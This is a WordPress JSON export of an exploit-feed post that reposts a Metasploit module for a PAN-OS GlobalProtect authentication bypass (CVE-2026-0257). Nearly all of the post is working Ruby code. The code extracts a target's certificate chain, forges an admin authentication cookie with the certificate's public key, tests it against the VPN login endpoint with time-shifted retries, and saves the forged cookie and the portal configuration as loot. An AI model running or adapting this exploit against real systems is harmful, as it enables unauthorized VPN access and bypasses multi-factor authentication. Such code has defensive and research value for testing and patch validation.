{"id":62295,"date":"2026-06-12T12:42:27","date_gmt":"2026-06-12T12:42:27","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62295"},"modified":"2026-06-12T12:42:27","modified_gmt":"2026-06-12T12:42:27","slug":"palo-alto-globalprotect-authentication-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62295","title":{"rendered":"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:52&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components. The vulnerability stems from CWE-565: Reliance on Cookies without Validation and Integrity Checking. An&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223334&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-0257&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : GlobalProtect Authentication Bypass Validation Metasploit Auxiliary Module                                       |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : System built in component                                                                                        |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :  auxiliary module is designed to automate assessment of an alleged authentication bypass vulnerability affecting GlobalProtect deployments. \\n                      The module integrates certificate collection, authentication workflow testing, result reporting, and artifact storage into a repeatable assessment workflow.\\n    \\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Auxiliary::Report\\n      include Msf::Auxiliary::Scanner\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Palo Alto GlobalProtect CVE-2026-0257 Authentication Bypass&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits an authentication bypass vulnerability (CVE-2026-0257)\\n              in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components.\\n    \\n              The vulnerability stems from CWE-565: Reliance on Cookies without Validation\\n              and Integrity Checking. An unauthenticated remote attacker can forge\\n              authentication cookies using the public key extracted from the TLS certificate\\n              chain, leading to unauthorized VPN access.\\n    \\n              Vulnerable configurations require:\\n              &#8211; GlobalProtect portal or gateway configured\\n              &#8211; Authentication override cookies enabled\\n              &#8211; Certificate reuse for cookie encryption\\n    \\n              Successfully exploited targets allow the attacker to establish unauthorized\\n              VPN connections and bypass multi-factor authentication.\\n            },\\n            &#8216;Author&#8217; =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-0257&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/security.paloaltonetworks.com\/CVE-2026-0257&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/cisa.gov\/known-exploited-vulnerabilities\/cve-2026-0257&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/cve-2026-0257&#8217;]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-05-13&#8217;,\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n            },\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;RPORT&#8217; =\\u003e 443,\\n              &#8216;SSL&#8217; =\\u003e true\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path for GlobalProtect&#8217;, &#8216;\/&#8217;]),\\n          OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;Username to forge cookie for&#8217;, &#8216;admin&#8217;]),\\n          OptString.new(&#8216;DOMAIN&#8217;, [false, &#8216;Domain name (if required)&#8217;, &#8221;]),\\n          OptString.new(&#8216;CLIENT_IP&#8217;, [false, &#8216;Client IP to spoof&#8217;, &#8216;127.0.0.1&#8217;]),\\n          OptInt.new(&#8216;TIME_OFFSET&#8217;, [false, &#8216;Time offset in seconds for stale cookie attack&#8217;, 0]),\\n          OptBool.new(&#8216;TRY_ALL_CERTS&#8217;, [true, &#8216;Try all certificates in chain&#8217;, true]),\\n          OptBool.new(&#8216;TIME_SHIFT_ATTACK&#8217;, [true, &#8216;Try time-shifted cookie attacks&#8217;, true])\\n        ])\\n    \\n        register_advanced_options([\\n          OptInt.new(&#8216;TIMEOUT&#8217;, [true, &#8216;HTTP request timeout&#8217;, 15]),\\n          OptBool.new(&#8216;VERBOSE_RESPONSE&#8217;, [false, &#8216;Show full response on success&#8217;, false])\\n        ])\\n      end\\n    \\n      def peer\\n        \\&#8221;#{ssl ? &#8216;https:\/\/&#8217; : &#8216;http:\/\/&#8217;} #{rhost}:#{rport}\\&#8221;\\n      end\\n      def extract_certificate_chain\\n        print_status(\\&#8221;Extracting certificate chain from #{peer}\\&#8221;)\\n        cert_chain = []\\n        begin\\n          ctx = OpenSSL::SSL::SSLContext.new\\n          ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n          \\n          sock = TCPSocket.new(rhost, rport)\\n          ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)\\n          ssl_sock.hostname = rhost\\n          ssl_sock.connect\\n    \\n          certs = ssl_sock.peer_cert_chain\\n          if certs\\n            certs.each do |cert|\\n              cert_chain \\u003c\\u003c cert\\n              print_status(\\&#8221;Found certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}\\&#8221;)\\n            end\\n          else\\n            cert = ssl_sock.peer_cert\\n            cert_chain \\u003c\\u003c cert if cert\\n            print_status(\\&#8221;Found single certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}\\&#8221;)\\n          end\\n          \\n          ssl_sock.close\\n          sock.close\\n          \\n        rescue =\\u003e e\\n          print_error(\\&#8221;Failed to extract certificate chain: #{e.message}\\&#8221;)\\n          return []\\n        end\\n        \\n        print_good(\\&#8221;Extracted #{cert_chain.length} certificate(s)\\&#8221;)\\n        cert_chain\\n      end\\n    \\n      def forge_auth_cookie(cert, username, domain, client_ip, timestamp = nil)\\n        timestamp ||= Time.now.to_i + datastore[&#8216;TIME_OFFSET&#8217;]\\n        plaintext = \\&#8221;#{username};#{domain};;#{timestamp};#{client_ip};\\&#8221;\\n        vprint_status(\\&#8221;Plaintext payload: #{plaintext}\\&#8221;)\\n        \\n        begin\\n          public_key = cert.public_key\\n          ciphertext = public_key.public_encrypt(plaintext, OpenSSL::PKey::RSA::PKCS1_PADDING)\\n          cookie = Rex::Text.encode_base64(ciphertext)\\n          \\n          print_good(\\&#8221;Forged cookie for user: #{username} (timestamp: #{timestamp})\\&#8221;)\\n          vprint_status(\\&#8221;Cookie (first 60 chars): #{cookie[0..60]}&#8230;\\&#8221;)\\n          \\n          return cookie\\n          \\n        rescue =\\u003e e\\n          print_error(\\&#8221;Failed to forge cookie: #{e.message}\\&#8221;)\\n          return nil\\n        end\\n      end\\n    \\n      def test_cookie(cookie, username, endpoint = &#8216;\/ssl-vpn\/login.esp&#8217;)\\n        print_status(\\&#8221;Testing cookie against #{endpoint}\\&#8221;)\\n        \\n        post_data = {\\n          &#8216;user&#8217; =\\u003e username,\\n          &#8216;passwd&#8217; =\\u003e &#8221;,\\n          &#8216;portal-userauthcookie&#8217; =\\u003e cookie,\\n          &#8216;direct&#8217; =\\u003e &#8216;yes&#8217;,\\n          &#8216;clientVer&#8217; =\\u003e &#8216;4100&#8217;,\\n          &#8216;prot&#8217; =\\u003e &#8216;https&#8217;,\\n          &#8216;server&#8217; =\\u003e rhost,\\n          &#8216;ok&#8217; =\\u003e &#8216;Login&#8217;,\\n          &#8216;jnlpReady&#8217; =\\u003e &#8216;jnlpReady&#8217;\\n        }\\n        \\n        begin\\n          res = send_request_cgi(\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, endpoint),\\n            &#8216;vars_post&#8217; =\\u003e post_data,\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n            &#8216;timeout&#8217; =\\u003e datastore[&#8216;TIMEOUT&#8217;]\\n          )\\n          \\n          if res\\n            vprint_status(\\&#8221;HTTP #{res.code}\\&#8221;)\\n            success_indicators = [\\n              &#8216;Success&#8217;, &#8216;success&#8217;, &#8216;successful&#8217;,\\n              &#8216;\\u003cargument\\u003e&#8217;, &#8216;argument&#8217;,\\n              &#8216;portal&#8217;, &#8216;Portal&#8217;, &#8216;gateway&#8217;, &#8216;Gateway&#8217;,\\n              &#8216;config&#8217;, &#8216;Config&#8217;, &#8216;session&#8217;, &#8216;Session&#8217;,\\n              &#8216;authcookie&#8217;, &#8216;set-cookie&#8217;, &#8216;Set-Cookie&#8217;\\n            ]\\n            if res.body\\n              success_indicators.each do |indicator|\\n                if res.body.include?(indicator) \\u0026\\u0026 !res.body.downcase.include?(&#8216;error&#8217;)\\n                  return true, res\\n                end\\n              end\\n              if res.code == 302 || (res.code == 200 \\u0026\\u0026 res.body.length \\u003e 500)\\n                if !res.body.downcase.include?(&#8216;invalid&#8217;) \\u0026\\u0026 !res.body.downcase.include?(&#8216;failed&#8217;)\\n                  return true, res\\n                end\\n              end\\n            end\\n            \\n            return false, res\\n          else\\n            return false, nil\\n          end\\n          \\n        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout =\\u003e e\\n          print_error(\\&#8221;Connection failed: #{e.message}\\&#8221;)\\n          return false, nil\\n        rescue =\\u003e e\\n          print_error(\\&#8221;Request failed: #{e.message}\\&#8221;)\\n          return false, nil\\n        end\\n      end\\n    \\n      def extract_gateway_info(response)\\n        info = {}   \\n        if response \\u0026\\u0026 response.body\\n          if response.body =~ \/portal[\\&#8221;:\\\\s]+([a-zA-Z0-9._-]+)\/i\\n            info[&#8216;portal&#8217;] = Regexp.last_match(1)\\n          end\\n          if response.body =~ \/gateway[\\&#8221;:\\\\s]+([a-zA-Z0-9._-]+)\/i\\n            info[&#8216;gateway&#8217;] = Regexp.last_match(1)\\n          end\\n          if response.body =~ \/(?:gp-auth-cookie|GP-Auth-Cookie)[=:\\\\s]+([a-zA-Z0-9+\/=]+)\/i\\n            info[&#8216;auth_cookie&#8217;] = Regexp.last_match(1)\\n          end\\n        end\\n        if response \\u0026\\u0026 response.headers\\n          if response.headers[&#8216;Set-Cookie&#8217;] =~ \/(?:GP-Auth-Cookie|gp-auth-cookie)=([^;]+)\/i\\n            info[&#8216;set_cookie&#8217;] = Regexp.last_match(1)\\n          end\\n        end\\n        \\n        info\\n      end\\n      def report_credentials(username, cookie, info)\\n        credential_data = {\\n          origin_type: :service,\\n          module_fullname: fullname,\\n          username: username,\\n          private_data: cookie,\\n          private_type: :nonreplayable_hash,\\n          service_name: &#8216;palo_alto_globalprotect&#8217;,\\n          workspace_id: myworkspace_id\\n        }\\n        credential_data[:address] = rhost\\n        credential_data[:port] = rport\\n        credential_data[:protocol] = &#8216;tcp&#8217;\\n        \\n        if info[&#8216;gateway&#8217;]\\n          credential_data[:proof] = \\&#8221;Gateway: #{info[&#8216;gateway&#8217;]}\\&#8221;\\n        elsif info[&#8216;portal&#8217;]\\n          credential_data[:proof] = \\&#8221;Portal: #{info[&#8216;portal&#8217;]}\\&#8221;\\n        end\\n        \\n        credential_core = create_credential(credential_data)\\n        \\n        login_data = {\\n          core: credential_core,\\n          status: Metasploit::Model::Login::Status::SUCCESSFUL,\\n          workspace_id: myworkspace_id\\n        }\\n        \\n        create_credential_login(login_data)\\n        \\n        print_good(\\&#8221;Credentials stored in database\\&#8221;)\\n      end\\n    \\n      def run_host(ip)\\n        print_status(\\&#8221;Starting exploitation against #{peer}\\&#8221;)\\n    \\n        unless check_host\\n          print_error(\\&#8221;Target does not appear to be a GlobalProtect portal\\&#8221;)\\n          return\\n        end\\n        cert_chain = extract_certificate_chain\\n        if cert_chain.empty?\\n          print_error(\\&#8221;Could not extract any certificates\\&#8221;)\\n          return\\n        end\\n        username = datastore[&#8216;USERNAME&#8217;]\\n        domain = datastore[&#8216;DOMAIN&#8217;]\\n        client_ip = datastore[&#8216;CLIENT_IP&#8217;]\\n        \\n        print_status(\\&#8221;Attempting authentication bypass for user: #{username}\\&#8221;)\\n        success = false\\n        certs_to_try = datastore[&#8216;TRY_ALL_CERTS&#8217;] ? cert_chain : [cert_chain.first]\\n        \\n        certs_to_try.each_with_index do |cert, idx|\\n          print_status(\\&#8221;Trying certificate #{idx + 1}\/#{certs_to_try.length}\\&#8221;)\\n    \\n          cookie = forge_auth_cookie(cert, username, domain, client_ip)\\n          next unless cookie\\n          success, response = test_cookie(cookie, username)\\n          \\n          if success\\n            print_good(\\&#8221;=\\&#8221; * 60)\\n            print_good(\\&#8221;SUCCESS! Authentication bypass achieved!\\&#8221;)\\n            print_good(\\&#8221;=\\&#8221; * 60)\\n            print_good(\\&#8221;Username: #{username}\\&#8221;)\\n            print_good(\\&#8221;Cookie: #{cookie}\\&#8221;)\\n    \\n            info = extract_gateway_info(response)\\n            if info[&#8216;gateway&#8217;]\\n              print_good(\\&#8221;Gateway: #{info[&#8216;gateway&#8217;]}\\&#8221;)\\n            end\\n            if info[&#8216;portal&#8217;]\\n              print_good(\\&#8221;Portal: #{info[&#8216;portal&#8217;]}\\&#8221;)\\n            end\\n            if info[&#8216;auth_cookie&#8217;] || info[&#8216;set_cookie&#8217;]\\n              print_good(\\&#8221;Session cookie obtained: #{info[&#8216;auth_cookie&#8217;] || info[&#8216;set_cookie&#8217;]}\\&#8221;)\\n            end\\n            if datastore[&#8216;VERBOSE_RESPONSE&#8217;] \\u0026\\u0026 response\\n              print_status(\\&#8221;Response body preview:\\&#8221;)\\n              print_line(response.body[0..500]) if response.body\\n            end\\n            loot_path = store_loot(\\n              &#8216;palo_alto_globalprotect_cookie&#8217;,\\n              &#8216;text\/plain&#8217;,\\n              rhost,\\n              \\&#8221;GP-AUTH-COOKIE=#{cookie}\\\\nUsername=#{username}\\\\nTarget=#{peer}\\\\nCVE-2026-0257\\&#8221;,\\n              \\&#8221;cve-2026-0257_cookie_#{username}.txt\\&#8221;,\\n              \\&#8221;CVE-2026-0257 forged authentication cookie\\&#8221;\\n            )\\n            print_good(\\&#8221;Cookie saved to loot: #{loot_path}\\&#8221;)\\n            report_credentials(username, cookie, info)\\n            report_service(\\n              host: rhost,\\n              port: rport,\\n              proto: &#8216;tcp&#8217;,\\n              name: &#8216;palo_alto_globalprotect&#8217;,\\n              info: \\&#8221;Vulnerable to CVE-2026-0257 authentication bypass\\&#8221;\\n            )\\n            get_portal_config(cookie)\\n            \\n            success = true\\n            break\\n          else\\n            if response\\n              vprint_error(\\&#8221;Failed with this certificate: HTTP #{response.code}\\&#8221;)\\n            else\\n              vprint_error(\\&#8221;Failed with this certificate: No response\\&#8221;)\\n            end\\n          end\\n        end\\n        if !success \\u0026\\u0026 datastore[&#8216;TIME_SHIFT_ATTACK&#8217;]\\n          print_status(\\&#8221;Attempting time-shifted cookie attacks&#8230;\\&#8221;)\\n          \\n          [ -3600, 3600, -7200, 7200, -86400, 86400 ].each do |offset|\\n            next if offset == datastore[&#8216;TIME_OFFSET&#8217;]\\n            print_status(\\&#8221;Trying time offset: #{offset} seconds\\&#8221;)\\n            datastore[&#8216;TIME_OFFSET&#8217;] = offset\\n            cookie = forge_auth_cookie(cert_chain.first, username, domain, client_ip)\\n            next unless cookie\\n            success, response = test_cookie(cookie, username)\\n            if success\\n              print_good(\\&#8221;SUCCESS with time offset #{offset} seconds!\\&#8221;)\\n              print_good(\\&#8221;Username: #{username}\\&#8221;)\\n              print_good(\\&#8221;Cookie: #{cookie}\\&#8221;)\\n              loot_path = store_loot(\\n                &#8216;palo_alto_globalprotect_cookie_timeshift&#8217;,\\n                &#8216;text\/plain&#8217;,\\n                rhost,\\n                \\&#8221;GP-AUTH-COOKIE=#{cookie}\\\\nUsername=#{username}\\\\nTarget=#{peer}\\\\nTimeOffset=#{offset}\\&#8221;,\\n                \\&#8221;cve-2026-0257_cookie_timeshift_#{offset}.txt\\&#8221;,\\n                \\&#8221;CVE-2026-0257 forged cookie (time offset: #{offset})\\&#8221;\\n              )\\n              print_good(\\&#8221;Cookie saved to loot: #{loot_path}\\&#8221;)\\n              report_credentials(username, cookie, extract_gateway_info(response))\\n              success = true\\n              break\\n            end\\n          end\\n        end\\n        unless success\\n          print_error(\\&#8221;Exploitation failed. Target may not be vulnerable or authentication override cookies are disabled.\\&#8221;)\\n        end\\n      end\\n      def get_portal_config(cookie)\\n        print_status(\\&#8221;Attempting to retrieve portal configuration&#8230;\\&#8221;)\\n        post_data = {\\n          &#8216;action&#8217; =\\u003e &#8216;getconfig&#8217;,\\n          &#8216;portal-userauthcookie&#8217; =\\u003e cookie,\\n          &#8216;clientVer&#8217; =\\u003e &#8216;4100&#8217;\\n        }\\n        begin\\n          res = send_request_cgi(\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/ssl-vpn\/getconfig.esp&#8217;),\\n            &#8216;vars_post&#8217; =\\u003e post_data,\\n            &#8216;timeout&#8217; =\\u003e datastore[&#8216;TIMEOUT&#8217;]\\n          )\\n          if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body\\n            vprint_status(\\&#8221;Portal config retrieved (#{res.body.length} bytes)\\&#8221;)\\n            config_path = store_loot(\\n              &#8216;palo_alto_globalprotect_config&#8217;,\\n              &#8216;text\/xml&#8217;,\\n              rhost,\\n              res.body,\\n              \\&#8221;globalprotect_config.xml\\&#8221;,\\n              \\&#8221;GlobalProtect portal configuration\\&#8221;\\n            )       \\n            print_good(\\&#8221;Portal configuration saved to: #{config_path}\\&#8221;)\\n          end\\n        rescue =\\u003e e\\n          vprint_error(\\&#8221;Failed to get portal config: #{e.message}\\&#8221;)\\n        end\\n      end\\n      def check_host\\n        print_status(\\&#8221;Checking if target is a GlobalProtect portal&#8230;\\&#8221;)\\n        endpoints = [&#8216;\/global-protect\/login.esp&#8217;, &#8216;\/ssl-vpn\/login.esp&#8217;]\\n        endpoints.each do |endpoint|\\n          begin\\n            res = send_request_cgi(\\n              &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, endpoint),\\n              &#8216;timeout&#8217; =\\u003e datastore[&#8216;TIMEOUT&#8217;]\\n            )       \\n            if res \\u0026\\u0026 res.code == 200\\n              if res.body \\u0026\\u0026 (res.body.include?(&#8216;GlobalProtect&#8217;) || res.body.include?(&#8216;global-protect&#8217;))\\n                print_good(\\&#8221;GlobalProtect portal detected at #{endpoint}\\&#8221;)\\n                return true\\n              end\\n            end\\n          rescue\\n            next\\n          end\\n        end \\n        print_error(\\&#8221;GlobalProtect portal not detected\\&#8221;)\\n        false\\n      end\\n    end\\n    \\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223334&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223334\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:52&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components. The vulnerability stems from CWE-565: Reliance on&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-62295","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62295\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:52&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components. The vulnerability stems from CWE-565: Reliance on...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62295\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-12T12:42:27+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334\",\"datePublished\":\"2026-06-12T12:42:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295\"},\"wordCount\":2224,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62295#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295\",\"name\":\"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-12T12:42:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62295\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62295#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334 - zero 